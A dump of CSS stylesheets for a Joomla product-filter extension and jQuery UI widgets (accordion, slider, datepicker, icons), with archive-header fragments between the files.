1fr)}}@media (min-width:768px){.ja-products-wrapper
.cols-6.product-items{-ms-grid-columns:(1fr)[2];grid-template-columns:repeat(2,
1fr)}}@media (min-width:992px){.ja-products-wrapper
.cols-6.product-items{-ms-grid-columns:(1fr)[3];grid-template-columns:repeat(3,
1fr)}}@media (min-width:1200px){.ja-products-wrapper
.cols-6.product-items{-ms-grid-columns:(1fr)[6];grid-template-columns:repeat(6,
1fr)}}@media (min-width:768px){.ja-products-wrapper
.cols-7.product-items{-ms-grid-columns:(1fr)[2];grid-template-columns:repeat(2,
1fr)}}@media (min-width:992px){.ja-products-wrapper
.cols-7.product-items{-ms-grid-columns:(1fr)[3];grid-template-columns:repeat(3,
1fr)}}@media (min-width:1200px){.ja-products-wrapper
.cols-7.product-items{-ms-grid-columns:(1fr)[7];grid-template-columns:repeat(7,
1fr)}}@media (min-width:768px){.ja-products-wrapper
.cols-8.product-items{-ms-grid-columns:(1fr)[2];grid-template-columns:repeat(2,
1fr)}}@media (min-width:992px){.ja-products-wrapper
.cols-8.product-items{-ms-grid-columns:(1fr)[3];grid-template-columns:repeat(3,
1fr)}}@media (min-width:1200px){.ja-products-wrapper
.cols-8.product-items{-ms-grid-columns:(1fr)[8];grid-template-columns:repeat(8,
1fr)}}@media (min-width:768px){.ja-products-wrapper
.cols-9.product-items{-ms-grid-columns:(1fr)[2];grid-template-columns:repeat(2,
1fr)}}@media (min-width:992px){.ja-products-wrapper
.cols-9.product-items{-ms-grid-columns:(1fr)[3];grid-template-columns:repeat(3,
1fr)}}@media (min-width:1200px){.ja-products-wrapper
.cols-9.product-items{-ms-grid-columns:(1fr)[9];grid-template-columns:repeat(9,
1fr)}}@media (min-width:768px){.ja-products-wrapper
.cols-10.product-items{-ms-grid-columns:(1fr)[2];grid-template-columns:repeat(2,
1fr)}}@media (min-width:992px){.ja-products-wrapper
.cols-10.product-items{-ms-grid-columns:(1fr)[3];grid-template-columns:repeat(3,
1fr)}}@media (min-width:1200px){.ja-products-wrapper
.cols-10.product-items{-ms-grid-columns:(1fr)[10];grid-template-columns:repeat(10,
1fr)}}.ja-products-wrapper
.product-item-details{background:none;padding:0;border:0;float:none;display:block;min-width:0;border-radius:0;font-size:14px;line-height:1.7142}.ja-products-wrapper
.product-item-details:hover{color:inherit;background:none}.ja-products-wrapper
.product-item-photo{display:block;border-bottom:0;margin-bottom:20px}.ja-products-wrapper
.product-item-photo
.product-image-container{display:block;position:relative;overflow:hidden;text-align:center}.ja-products-wrapper
.product-item-photo
.product_label{position:absolute;top:0;right:0}.ja-products-wrapper
.product-item-actions{margin-top:20px;overflow:hidden}.ja-products-wrapper
.addtocart-bar{text-align:left}.ja-products-wrapper
.product-reviews-summary .rating-summary,.ja-products-wrapper
.product-reviews-summary
.reviews-actions{display:inline-block}.ja-products-wrapper
.product-reviews-summary{margin-bottom:10px}.ja-products-wrapper
.product-reviews-summary
.rating-summary{line-height:1;padding-top:5px;padding-bottom:5px}.ja-products-wrapper
.product-reviews-summary
.rating-summary>span{margin-right:5px}.filter-items
.rating-result,.ja-products-wrapper
.rating-result{background:url("../images/color-stars.png")
repeat-x 0
bottom;text-align:left;height:12px;width:60px;display:inline-block;position:relative}.filter-items
.rating-result span,.ja-products-wrapper .rating-result
span{background:url("../images/color-stars.png") repeat-x 0
0;height:12px;position:absolute;left:0}.filter-items
.rating-result{margin:3px 3px 0 3px;top:1px}.ja-products-wrapper
.stock.unavailable{color:red}.ja-products-wrapper
.stock.available{color:green}div.toolbar-bottom{border-top:1px solid
#ddd;padding-top:20px}div.toolbar-bottom
span{height:auto}.ja-filter-wrapper
.filter-content{background-color:#eeeeee;padding:20px}.ja-filter-wrapper
.filter-content .selected-filters
ol{list-style:none;padding-left:0;padding-right:0}.ja-filter-wrapper
.filter-content .selected-filters ol li.item{padding:5px}.ja-filter-wrapper
.filter-content .selected-filters ol li.item
label{font-weight:400}.ja-filter-wrapper .filter-content .selected-filters
ol li.item .filter-label{opacity:0.6}.ja-filter-wrapper .filter-content
.selected-filters ol li.item .filter-value
.img-selected{border-radius:2px;max-width:40px}.ja-filter-wrapper
.filter-content .block-subtitle{border-bottom:1px solid
#d7d7d7;font-size:15px;font-weight:600;letter-spacing:0.5px;margin:0 0
20px;padding:0 0 10px;text-transform:uppercase}.ja-filter-wrapper
.filter-content input[type=checkbox],.ja-filter-wrapper .filter-content
input[type=radio]{margin-top:0;margin-right:3px;margin-left:3px;margin-bottom:3px;vertical-align:middle}.ja-filter-wrapper
.filter-content
.input-text{border-radius:0;-webkit-box-shadow:none;box-shadow:none;width:100%}.ja-filter-wrapper
.filter-content .input-text.jafrom,.ja-filter-wrapper .filter-content
.input-text.jato{padding-right:15px}.ja-filter-wrapper .filter-content
.filter-items{-webkit-box-shadow:none;box-shadow:none;border-radius:0;width:100%}.ja-filter-wrapper
.filter-content .filter-items
.item.lv-2{background:url(../images/tree-bg.png) no-repeat 0px
center;padding-left:20px}.ja-filter-wrapper .filter-content .filter-items
.item.lv-3{background:url(../images/tree-bg.png) no-repeat 20px
center;padding-left:40px}.ja-filter-wrapper .filter-content .filter-items
.item.lv-4{background:url(../images/tree-bg.png) no-repeat 40px
center;padding-left:60px}.ja-filter-wrapper .filter-content .filter-items
.item.lv-5{background:url(../images/tree-bg.png) no-repeat 60px
center;padding-left:80px}.ja-filter-wrapper .filter-content
.filter-options-title{margin-bottom:13.33333333px}.ja-filter-wrapper
.filter-content .filter-options-title
span{background-color:#e1e1e1;border-radius:2px;display:inline-block;font-size:12px;letter-spacing:1px;padding:5px
10px 5px 28px;position:relative;text-transform:uppercase}.ja-filter-wrapper
.filter-content .filter-options-title
span:hover{cursor:pointer}.ja-filter-wrapper .filter-content
.filter-options-title span:hover:after{color:#616161}.ja-filter-wrapper
.filter-content .filter-options-title
span:after{content:"\f146";color:#9e9e9e;display:block;font-family:FontAwesome;font-size:14px;position:absolute;top:5px;left:8px}.ja-filter-wrapper
.filter-content .filter-options-title.collapsed
span:after{content:"\f0fe"}.ja-filter-wrapper .filter-content
.filter-range
.filter-options-content{padding-left:0;padding-right:20px}.ja-filter-wrapper
.filter-content .filter-range .filter-options-content
label{font-weight:normal}.ja-filter-wrapper .filter-content .filter-range
.filter-options-content
.ui-widget-content{background:none}.ja-filter-wrapper .filter-content
.filter-range .filter-options-content
.ui-slider-horizontal{background-color:#2196f3;border-radius:0;border:0;height:6px;margin-left:0;margin-right:0;width:100%}.ja-filter-wrapper
.filter-content .filter-range .filter-options-content .ui-slider-horizontal
.ui-slider-range{background-color:#9e9e9e;border:0;border-radius:0;height:6px}.ja-filter-wrapper
.filter-content .filter-range .filter-options-content .ui-slider-horizontal
.ui-slider-handle{background:#fff;border:1px solid
#bdbdbd;border-radius:50%;-webkit-box-shadow:0 0 3px rgba(0, 0, 0,
0.2);box-shadow:0 0 3px rgba(0, 0, 0,
0.2);height:14px;margin-left:0;margin-right:0;width:14px}.ja-filter-wrapper
.filter-content .filter-items li{padding:3px 0}.ja-filter-wrapper
.filter-content .filter-items
li:first-child{padding-top:0}.ja-filter-wrapper .filter-content
.filter-items label{margin-bottom:0;font-weight:normal}.ja-filter-wrapper
.filter-content
.color-item{float:left;margin:2px;padding:0!important}.ja-filter-wrapper
.filter-content .color-item span.color-item-bg{border:1px solid rgba(0, 0,
0,
0.1);border-radius:2px;display:block;position:relative;min-height:28px;line-height:28px;min-width:28px;text-align:center;-webkit-transition:all
0.35s;-o-transition:all 0.35s;transition:all 0.35s}.ja-filter-wrapper
.filter-content .color-item span.color-item-bg:hover{border:1px solid
rgba(0, 0, 0, 0.3);cursor:pointer;opacity:0.8}.ja-filter-wrapper
.filter-content .color-item
span.color-item-bg.color-active:before{background:#fff;border:1px solid
rgba(0, 0, 0,
0.2);border-radius:50%;display:block;content:"";height:10px;position:absolute;top:8px;left:8px;width:10px}.ja-filter-wrapper
.filter-content .filter-items
.media-item{padding:5px!important;float:left;width:25%}.ja-filter-wrapper
.filter-content .filter-items .media-item img{border:1px solid
#ddd;border-radius:2px;max-width:100%}.ja-filter-wrapper .filter-content
.filter-items .media-item img.media-active{border:1px solid
#096}.ja-filter-wrapper .filter-content
.filter-field+.filter-field{margin-top:20px}.ja-filter-wrapper
.filter-options-title{margin-bottom:10px}.ja-filter-wrapper .filter-range
.filter-options-content{padding:0 0.6em}.ja-filter-wrapper
.range-value{margin-top:10px}.ja-filter-wrapper
.range-max{float:right}.ja-filter-wrapper ol,.ja-filter-wrapper
ul{padding-left:20px;margin-left:0}.ja-filter-wrapper
dd{margin-left:0}.ja-filter-wrapper input[type=text],.ja-filter-wrapper
select{max-width:100%;min-height:28px}.ja-filter-wrapper
ul.filter-items{padding-left:0;list-style:none;overflow:hidden}.ja-filter-wrapper
ol.items .clear-filter .filter-label{margin-right:5px}.ja-filter-wrapper
ol.items li.item{border-radius:2px;padding:2px 5px}.ja-filter-wrapper
ol.items li.item:hover{background-color:#fff}.ja-filter-wrapper ol.items
.clear-filter.remove{position:relative;padding-right:20px;display:block;margin-bottom:0}.ja-filter-wrapper
ol.items
.clear-filter.remove:after{content:"\f1f8";font-family:FontAwesome;position:absolute;right:5px;top:0;cursor:pointer;color:#999;-webkit-transition:all
0.35s;-o-transition:all 0.35s;transition:all 0.35s}.ja-filter-wrapper
ol.items .clear-filter.remove:hover:after{color:#096}.ja-filter-wrapper
.filter-actions{text-align:right}.ui-widget-header
a{border-bottom:0}.ui-datepicker .ui-datepicker-title
select{display:inline-block;border-width:1px}.ui-datepicker
.ui-datepicker-title
select+select{margin-left:5px}.ja-megafilter-wrap.jshopping
.product-item-actions{overflow:hidden}.ja-megafilter-wrap.jshopping
.product-item-actions
.addtocart-area{float:left}.ja-megafilter-wrap.jshopping
.product-item-actions
.view-detail{float:right}.ja-megafilter-wrap.jshopping
.product-item-actions .view-detail .btn-default{border:1px solid
transparent;border-radius:3px;font-size:13px;font-weight:500;text-transform:uppercase;padding:9px
10px}.ja-megafilter-wrap.jshopping .product-item-actions .view-detail
.btn-default:active,.ja-megafilter-wrap.jshopping .product-item-actions
.view-detail .btn-default:focus,.ja-megafilter-wrap.jshopping
.product-item-actions .view-detail
.btn-default:hover{background:transparent;border-color:#bdbdbd}.chosen-container-single
.chosen-single>span,.chzn-container-single
.chzn-single>span{display:-webkit-box;display:-ms-flexbox;display:flex;-webkit-box-align:center;-ms-flex-align:center;align-items:center}.chosen-container-single
.chosen-single>span>span,.chzn-container-single
.chzn-single>span>span{margin-right:6px;display:inline-block}[dir=rtl]
.ja-filter-wrapper .filter-actions{margin-bottom:20px}[dir=rtl]
.ja-filter-wrapper ol.items
.clear-filter.remove{padding-left:20px;padding-right:0}[dir=rtl]
.ja-filter-wrapper ol.items
.clear-filter.remove:after{right:auto;left:5px}[dir=rtl] .products-toolbar
.toolbar-sorter{float:right}[dir=rtl] .ja-filter-wrapper .filter-content
.filter-items{padding-right:0}[dir=rtl] .ja-filter-wrapper .filter-content
.filter-items .item.lv-2{background:url(../images/tree-rtl-bg.png)
no-repeat right center;padding-right:20px;padding-left:0}[dir=rtl]
.ja-filter-wrapper .filter-content .filter-items
.item.lv-3{background:url(../images/tree-rtl-lv2-bg.png) no-repeat right
center;padding-right:40px;padding-left:0}[dir=rtl] .ja-filter-wrapper
.filter-content .filter-items
.item.lv-4{background:url(../images/tree-rtl-lv3-bg.png) no-repeat right
center;padding-right:60px;padding-left:0}[dir=rtl] .ja-filter-wrapper
.filter-content .filter-items
.item.lv-5{background:url(../images/tree-rtl-lv4-bg.png) no-repeat right
center;padding-right:80px;padding-left:0}[dir=rtl] .ja-filter-wrapper
.filter-content .color-item{float:right}@media (min-width:769px) and
(max-width:1024px){.ja-megafilter-wrap.docman .product-item-actions
.btn{margin-bottom:10px;margin-left:0!important;width:100%}}.jamega-row-flex{display:-webkit-box;display:-moz-box;display:-ms-flexbox;display:-webkit-flex;display:flex;-webkit-box-flex:1;-ms-flex:1
1 auto;flex:1 1
auto;overflow:hidden}.jamega-row-flex>*,.jamega-row-flex>div[class*=col-]{margin:0
-0.3px}@media
(max-width:768px){.ja-megafilter-wrap{position:relative}.ja-megafilter-wrap
.ja-mg-sidebar{height:50px;overflow:hidden;width:100%}.ja-megafilter-wrap
.ja-mg-sidebar.open{height:auto}.ja-megafilter-wrap .ja-mg-sidebar.open
.filter-open{display:none}.ja-megafilter-wrap .ja-mg-sidebar.open
.filter-close{display:inline-block}.ja-megafilter-wrap .ja-mg-sidebar
.filter-close{display:none}.ja-megafilter-wrap .ja-mg-sidebar
.sidebar-toggle{background-color:#9e9e9e;color:#fff;display:block;height:50px;font-weight:500;line-height:50px;letter-spacing:1px;text-align:center;text-transform:uppercase;width:100%}.ja-megafilter-wrap
.ja-mg-sidebar
.sidebar-toggle:hover{background-color:#2196f3;cursor:pointer;text-decoration:none}.ja-megafilter-wrap
.ja-mg-sidebar .sidebar-toggle
i{margin-right:5px;vertical-align:middle}.ja-megafilter-wrap
.main-content{width:100%}.ja-megafilter-wrap .main-content
.ja-products-wrapper
.product-item:nth-child(3n+1){clear:none!important}.ja-megafilter-wrap
.main-content .ja-products-wrapper
.product-item:nth-child(odd){clear:left!important}}@media
(max-width:480px){.ja-megafilter-wrap .main-content
.product-item{width:100%}}.ja-products-wrapper.products-list
.product-item-details .row.thumb
.col-md-12{position:initial}.rating-0{display:
none;}PK�v�[��!!"assets/css/jquery.ui.accordion.cssnu�[���/*
Overlays */
.ui-widget-overlay {
    position: fixed;
    top: 0;
    left: 0;
    width: 100%;
    height: 100%;
}
.ui-accordion .ui-accordion-header {
    display: block;
    cursor: pointer;
    position: relative;
    margin-top: 2px;
    padding: .5em .5em .5em .7em;
    min-height: 0; /* support: IE7 */
}
.ui-accordion .ui-accordion-icons {
    padding-left: 2.2em;
}
.ui-accordion .ui-accordion-noicons {
    padding-left: .7em;
}
.ui-accordion .ui-accordion-icons .ui-accordion-icons {
    padding-left: 2.2em;
}
.ui-accordion .ui-accordion-header .ui-accordion-header-icon {
    position: absolute;
    left: .5em;
    top: 50%;
    margin-top: -8px;
}
.ui-accordion .ui-accordion-content {
    padding: 1em;
    /*border: none;*/
    overflow: auto;
}PK�v�[hd1Q1Qassets/css/jquery.ui.cssnu�[���/*
Component containers
----------------------------------*/
.ui-widget {
    font-family: Verdana,Arial,sans-serif;
    font-size: 1.1em;
}
.ui-widget .ui-widget {
    font-size: 1em;
}
.ui-widget input,
.ui-widget select,
.ui-widget textarea,
.ui-widget button {
    font-family: Verdana,Arial,sans-serif;
    font-size: 1em;
}
.ui-widget-content {
    border: 1px solid #aaaaaa;
    background: #ffffff url(images/ui-bg_flat_75_ffffff_40x100.png) 50% 50%
repeat-x;
    color: #222222;
}
.ui-widget-content a {
    color: #222222;
}
.ui-widget-header {
    border: 1px solid #aaaaaa;
    background: #cccccc
url(images/ui-bg_highlight-soft_75_cccccc_1x100.png) 50% 50% repeat-x;
    color: #222222;
    font-weight: bold;
}
.ui-widget-header a {
    color: #222222;
}

/* Interaction states
----------------------------------*/
.ui-state-default,
.ui-widget-content .ui-state-default,
.ui-widget-header .ui-state-default {
    border: 1px solid #d3d3d3;
    background: #e6e6e6 url(images/ui-bg_glass_75_e6e6e6_1x400.png) 50% 50%
repeat-x;
    font-weight: normal;
    color: #555555;
}
.ui-state-default a,
.ui-state-default a:link,
.ui-state-default a:visited {
    color: #555555;
    text-decoration: none;
}
.ui-state-hover,
.ui-widget-content .ui-state-hover,
.ui-widget-header .ui-state-hover,
.ui-state-focus,
.ui-widget-content .ui-state-focus,
.ui-widget-header .ui-state-focus {
    border: 1px solid #999999;
    background: #dadada url(images/ui-bg_glass_75_dadada_1x400.png) 50% 50%
repeat-x;
    font-weight: normal;
    color: #212121;
    cursor:pointer;
}
.ui-state-hover a,
.ui-state-hover a:hover,
.ui-state-hover a:link,
.ui-state-hover a:visited {
    color: #212121;
    text-decoration: none;
}
.ui-state-active,
.ui-widget-content .ui-state-active,
.ui-widget-header .ui-state-active {
    border: 1px solid #aaaaaa;
    background: #ffffff url(images/ui-bg_glass_65_ffffff_1x400.png) 50% 50%
repeat-x;
    font-weight: normal;
    color: #212121;
}
.ui-state-active a,
.ui-state-active a:link,
.ui-state-active a:visited {
    color: #212121;
    text-decoration: none;
}

/* Interaction Cues
----------------------------------*/
.ui-state-highlight,
.ui-widget-content .ui-state-highlight,
.ui-widget-header .ui-state-highlight {
    border: 1px solid #fcefa1;
    background: #fbf9ee url(images/ui-bg_glass_55_fbf9ee_1x400.png) 50% 50%
repeat-x;
    color: #363636;
}
.ui-state-highlight a,
.ui-widget-content .ui-state-highlight a,
.ui-widget-header .ui-state-highlight a {
    color: #363636;
}
.ui-state-error,
.ui-widget-content .ui-state-error,
.ui-widget-header .ui-state-error {
    border: 1px solid #cd0a0a;
    background: #fef1ec url(images/ui-bg_glass_95_fef1ec_1x400.png) 50% 50%
repeat-x;
    color: #cd0a0a;
}
.ui-state-error a,
.ui-widget-content .ui-state-error a,
.ui-widget-header .ui-state-error a {
    color: #cd0a0a;
}
.ui-state-error-text,
.ui-widget-content .ui-state-error-text,
.ui-widget-header .ui-state-error-text {
    color: #cd0a0a;
}
.ui-priority-primary,
.ui-widget-content .ui-priority-primary,
.ui-widget-header .ui-priority-primary {
    font-weight: bold;
}
.ui-priority-secondary,
.ui-widget-content .ui-priority-secondary,
.ui-widget-header .ui-priority-secondary {
    opacity: .7;
    filter:Alpha(Opacity=70);
    font-weight: normal;
}
.ui-state-disabled,
.ui-widget-content .ui-state-disabled,
.ui-widget-header .ui-state-disabled {
    opacity: .35;
    filter:Alpha(Opacity=35);
    background-image: none;
}
.ui-state-disabled .ui-icon {
    filter:Alpha(Opacity=35); /* For IE8 - See #6059 */
}

/*Slider*/
.ui-slider {
	position: relative;
	text-align: left;
}
.ui-slider .ui-slider-handle {
	position: absolute;
	z-index: 2;
	width: 1.2em;
	height: 1.2em;
	cursor: default;
}
.ui-slider .ui-slider-range {
	position: absolute;
	z-index: 1;
	font-size: .7em;
	display: block;
	border: 0;
	background-position: 0 0;
}

/* For IE8 - See #6727 */
.ui-slider.ui-state-disabled .ui-slider-handle,
.ui-slider.ui-state-disabled .ui-slider-range {
	filter: inherit;
}

.ui-slider-horizontal {
	height: .8em;
    margin-left: 9px;
    margin-right: 9px;
}
.ui-slider-horizontal .ui-slider-handle {
	top: -.3em;
	margin-left: -.6em;
}
.ui-slider-horizontal .ui-slider-range {
	top: 0;
	height: 100%;
}
.ui-slider-horizontal .ui-slider-range-min {
	left: 0;
}
.ui-slider-horizontal .ui-slider-range-max {
	right: 0;
}

.ui-slider-vertical {
	width: .8em;
	height: 100px;
}
.ui-slider-vertical .ui-slider-handle {
	left: -.3em;
	margin-left: 0;
	margin-bottom: -.6em;
}
.ui-slider-vertical .ui-slider-range {
	left: 0;
	width: 100%;
}
.ui-slider-vertical .ui-slider-range-min {
	bottom: 0;
}
.ui-slider-vertical .ui-slider-range-max {
	top: 0;
}

/* Accorditon */
.ui-widget-overlay {
    position: fixed;
    top: 0;
    left: 0;
    width: 100%;
    height: 100%;
}
.ui-accordion .ui-accordion-header {
    display: block;
    cursor: pointer;
    position: relative;
    margin-top: 2px;
    padding: .5em .5em .5em .7em;
    min-height: 0; /* support: IE7 */
}
.ui-accordion .ui-accordion-icons {
    padding-left: 2.2em;
}
.ui-accordion .ui-accordion-noicons {
    padding-left: .7em;
}
.ui-accordion .ui-accordion-icons .ui-accordion-icons {
    padding-left: 2.2em;
}
.ui-accordion .ui-accordion-header .ui-accordion-header-icon {
    position: absolute;
    left: .5em;
    top: 50%;
    margin-top: -8px;
}
.ui-accordion .ui-accordion-content {
    padding: 1em;
    border-top: none;
    overflow: auto;
}

.ui-accordion .ui-accordion-content ul {
    margin: 0;
}

/* Date Picker */
.ui-datepicker {
    width: 17em;
    padding: .2em .2em 0;
    display: none;
}
.ui-datepicker .ui-datepicker-header {
    position: relative;
    padding: .2em 0;
}
.ui-datepicker .ui-datepicker-prev,
.ui-datepicker .ui-datepicker-next {
    position: absolute;
    top: 2px;
    width: 1.8em;
    height: 1.8em;
}
.ui-datepicker .ui-datepicker-prev-hover,
.ui-datepicker .ui-datepicker-next-hover {
    top: 1px;
}
.ui-datepicker .ui-datepicker-prev {
    left: 2px;
}
.ui-datepicker .ui-datepicker-next {
    right: 2px;
}
.ui-datepicker .ui-datepicker-prev-hover {
    left: 1px;
}
.ui-datepicker .ui-datepicker-next-hover {
    right: 1px;
}
.ui-datepicker .ui-datepicker-prev span,
.ui-datepicker .ui-datepicker-next span {
    display: block;
    position: absolute;
    left: 50%;
    margin-left: -8px;
    top: 50%;
    margin-top: -8px;
}
.ui-datepicker .ui-datepicker-title {
    margin: 0 2.3em;
    line-height: 1.8em;
    text-align: center;
}
.ui-datepicker .ui-datepicker-title select {
    font-size: 1em;
    margin: 1px 0;
}
.ui-datepicker select.ui-datepicker-month,
.ui-datepicker select.ui-datepicker-year {
    width: 45%;
}
.ui-datepicker table {
    width: 100%;
    font-size: .9em;
    border-collapse: collapse;
    margin: 0 0 .4em;
}
.ui-datepicker th {
    padding: .7em .3em;
    text-align: center;
    font-weight: bold;
    border: 0;
}
.ui-datepicker td {
    border: 0;
    padding: 1px;
}
.ui-datepicker td span,
.ui-datepicker td a {
    display: block;
    padding: .2em;
    text-align: right;
    text-decoration: none;
}
.ui-datepicker .ui-datepicker-buttonpane {
    background-image: none;
    margin: .7em 0 0 0;
    padding: 0 .2em;
    border-left: 0;
    border-right: 0;
    border-bottom: 0;
}
.ui-datepicker .ui-datepicker-buttonpane button {
    float: right;
    margin: .5em .2em .4em;
    cursor: pointer;
    padding: .2em .6em .3em .6em;
    width: auto;
    overflow: visible;
}
.ui-datepicker .ui-datepicker-buttonpane button.ui-datepicker-current {
    float: left;
}

/* with multiple calendars */
.ui-datepicker.ui-datepicker-multi {
    width: auto;
}
.ui-datepicker-multi .ui-datepicker-group {
    float: left;
}
.ui-datepicker-multi .ui-datepicker-group table {
    width: 95%;
    margin: 0 auto .4em;
}
.ui-datepicker-multi-2 .ui-datepicker-group {
    width: 50%;
}
.ui-datepicker-multi-3 .ui-datepicker-group {
    width: 33.3%;
}
.ui-datepicker-multi-4 .ui-datepicker-group {
    width: 25%;
}
.ui-datepicker-multi .ui-datepicker-group-last .ui-datepicker-header,
.ui-datepicker-multi .ui-datepicker-group-middle .ui-datepicker-header {
    border-left-width: 0;
}
.ui-datepicker-multi .ui-datepicker-buttonpane {
    clear: left;
}
.ui-datepicker-row-break {
    clear: both;
    width: 100%;
    font-size: 0;
}

/* RTL support */
.ui-datepicker-rtl {
    direction: rtl;
}
.ui-datepicker-rtl .ui-datepicker-prev {
    right: 2px;
    left: auto;
}
.ui-datepicker-rtl .ui-datepicker-next {
    left: 2px;
    right: auto;
}
.ui-datepicker-rtl .ui-datepicker-prev:hover {
    right: 1px;
    left: auto;
}
.ui-datepicker-rtl .ui-datepicker-next:hover {
    left: 1px;
    right: auto;
}
.ui-datepicker-rtl .ui-datepicker-buttonpane {
    clear: right;
}
.ui-datepicker-rtl .ui-datepicker-buttonpane button {
    float: left;
}
.ui-datepicker-rtl .ui-datepicker-buttonpane button.ui-datepicker-current,
.ui-datepicker-rtl .ui-datepicker-group {
    float: right;
}
.ui-datepicker-rtl .ui-datepicker-group-last .ui-datepicker-header,
.ui-datepicker-rtl .ui-datepicker-group-middle .ui-datepicker-header {
    border-right-width: 0;
    border-left-width: 1px;
}

/* Icons */
.ui-datepicker .ui-icon {
    display: block;
    text-indent: -99999px;
    overflow: hidden;
    background-repeat: no-repeat;
    left: .5em;
    top: .3em;
}

/* Icons
----------------------------------*/

/* states and images */
.ui-icon {
    width: 16px;
    height: 16px;
}
.ui-icon,
.ui-widget-content .ui-icon {
    background-image:
url("../images/ui-icons_444444_256x240.png");
}
.ui-widget-header .ui-icon {
    background-image:
url("../images/ui-icons_444444_256x240.png");
}
.ui-state-hover .ui-icon,
.ui-state-focus .ui-icon,
.ui-button:hover .ui-icon,
.ui-button:focus .ui-icon {
    background-image:
url("../images/ui-icons_555555_256x240.png");
}
.ui-state-active .ui-icon,
.ui-button:active .ui-icon {
    background-image:
url("../images/ui-icons_ffffff_256x240.png");
}
.ui-state-highlight .ui-icon,
.ui-button .ui-state-highlight.ui-icon {
    background-image:
url("../images/ui-icons_777620_256x240.png");
}
.ui-state-error .ui-icon,
.ui-state-error-text .ui-icon {
    background-image:
url("../images/ui-icons_cc0000_256x240.png");
}
.ui-button .ui-icon {
    background-image:
url("../images/ui-icons_777777_256x240.png");
}

/* positioning */
.ui-icon-blank { background-position: 16px 16px; }
.ui-icon-caret-1-n { background-position: 0 0; }
.ui-icon-caret-1-ne { background-position: -16px 0; }
.ui-icon-caret-1-e { background-position: -32px 0; }
.ui-icon-caret-1-se { background-position: -48px 0; }
.ui-icon-caret-1-s { background-position: -65px 0; }
.ui-icon-caret-1-sw { background-position: -80px 0; }
.ui-icon-caret-1-w { background-position: -96px 0; }
.ui-icon-caret-1-nw { background-position: -112px 0; }
.ui-icon-caret-2-n-s { background-position: -128px 0; }
.ui-icon-caret-2-e-w { background-position: -144px 0; }
.ui-icon-triangle-1-n { background-position: 0 -16px; }
.ui-icon-triangle-1-ne { background-position: -16px -16px; }
.ui-icon-triangle-1-e { background-position: -32px -16px; }
.ui-icon-triangle-1-se { background-position: -48px -16px; }
.ui-icon-triangle-1-s { background-position: -65px -16px; }
.ui-icon-triangle-1-sw { background-position: -80px -16px; }
.ui-icon-triangle-1-w { background-position: -96px -16px; }
.ui-icon-triangle-1-nw { background-position: -112px -16px; }
.ui-icon-triangle-2-n-s { background-position: -128px -16px; }
.ui-icon-triangle-2-e-w { background-position: -144px -16px; }
.ui-icon-arrow-1-n { background-position: 0 -32px; }
.ui-icon-arrow-1-ne { background-position: -16px -32px; }
.ui-icon-arrow-1-e { background-position: -32px -32px; }
.ui-icon-arrow-1-se { background-position: -48px -32px; }
.ui-icon-arrow-1-s { background-position: -65px -32px; }
.ui-icon-arrow-1-sw { background-position: -80px -32px; }
.ui-icon-arrow-1-w { background-position: -96px -32px; }
.ui-icon-arrow-1-nw { background-position: -112px -32px; }
.ui-icon-arrow-2-n-s { background-position: -128px -32px; }
.ui-icon-arrow-2-ne-sw { background-position: -144px -32px; }
.ui-icon-arrow-2-e-w { background-position: -160px -32px; }
.ui-icon-arrow-2-se-nw { background-position: -176px -32px; }
.ui-icon-arrowstop-1-n { background-position: -192px -32px; }
.ui-icon-arrowstop-1-e { background-position: -208px -32px; }
.ui-icon-arrowstop-1-s { background-position: -224px -32px; }
.ui-icon-arrowstop-1-w { background-position: -240px -32px; }
.ui-icon-arrowthick-1-n { background-position: 1px -48px; }
.ui-icon-arrowthick-1-ne { background-position: -16px -48px; }
.ui-icon-arrowthick-1-e { background-position: -32px -48px; }
.ui-icon-arrowthick-1-se { background-position: -48px -48px; }
.ui-icon-arrowthick-1-s { background-position: -64px -48px; }
.ui-icon-arrowthick-1-sw { background-position: -80px -48px; }
.ui-icon-arrowthick-1-w { background-position: -96px -48px; }
.ui-icon-arrowthick-1-nw { background-position: -112px -48px; }
.ui-icon-arrowthick-2-n-s { background-position: -128px -48px; }
.ui-icon-arrowthick-2-ne-sw { background-position: -144px -48px; }
.ui-icon-arrowthick-2-e-w { background-position: -160px -48px; }
.ui-icon-arrowthick-2-se-nw { background-position: -176px -48px; }
.ui-icon-arrowthickstop-1-n { background-position: -192px -48px; }
.ui-icon-arrowthickstop-1-e { background-position: -208px -48px; }
.ui-icon-arrowthickstop-1-s { background-position: -224px -48px; }
.ui-icon-arrowthickstop-1-w { background-position: -240px -48px; }
.ui-icon-arrowreturnthick-1-w { background-position: 0 -64px; }
.ui-icon-arrowreturnthick-1-n { background-position: -16px -64px; }
.ui-icon-arrowreturnthick-1-e { background-position: -32px -64px; }
.ui-icon-arrowreturnthick-1-s { background-position: -48px -64px; }
.ui-icon-arrowreturn-1-w { background-position: -64px -64px; }
.ui-icon-arrowreturn-1-n { background-position: -80px -64px; }
.ui-icon-arrowreturn-1-e { background-position: -96px -64px; }
.ui-icon-arrowreturn-1-s { background-position: -112px -64px; }
.ui-icon-arrowrefresh-1-w { background-position: -128px -64px; }
.ui-icon-arrowrefresh-1-n { background-position: -144px -64px; }
.ui-icon-arrowrefresh-1-e { background-position: -160px -64px; }
.ui-icon-arrowrefresh-1-s { background-position: -176px -64px; }
.ui-icon-arrow-4 { background-position: 0 -80px; }
.ui-icon-arrow-4-diag { background-position: -16px -80px; }
.ui-icon-extlink { background-position: -32px -80px; }
.ui-icon-newwin { background-position: -48px -80px; }
.ui-icon-refresh { background-position: -64px -80px; }
.ui-icon-shuffle { background-position: -80px -80px; }
.ui-icon-transfer-e-w { background-position: -96px -80px; }
.ui-icon-transferthick-e-w { background-position: -112px -80px; }
.ui-icon-folder-collapsed { background-position: 0 -96px; }
.ui-icon-folder-open { background-position: -16px -96px; }
.ui-icon-document { background-position: -32px -96px; }
.ui-icon-document-b { background-position: -48px -96px; }
.ui-icon-note { background-position: -64px -96px; }
.ui-icon-mail-closed { background-position: -80px -96px; }
.ui-icon-mail-open { background-position: -96px -96px; }
.ui-icon-suitcase { background-position: -112px -96px; }
.ui-icon-comment { background-position: -128px -96px; }
.ui-icon-person { background-position: -144px -96px; }
.ui-icon-print { background-position: -160px -96px; }
.ui-icon-trash { background-position: -176px -96px; }
.ui-icon-locked { background-position: -192px -96px; }
.ui-icon-unlocked { background-position: -208px -96px; }
.ui-icon-bookmark { background-position: -224px -96px; }
.ui-icon-tag { background-position: -240px -96px; }
.ui-icon-home { background-position: 0 -112px; }
.ui-icon-flag { background-position: -16px -112px; }
.ui-icon-calendar { background-position: -32px -112px; }
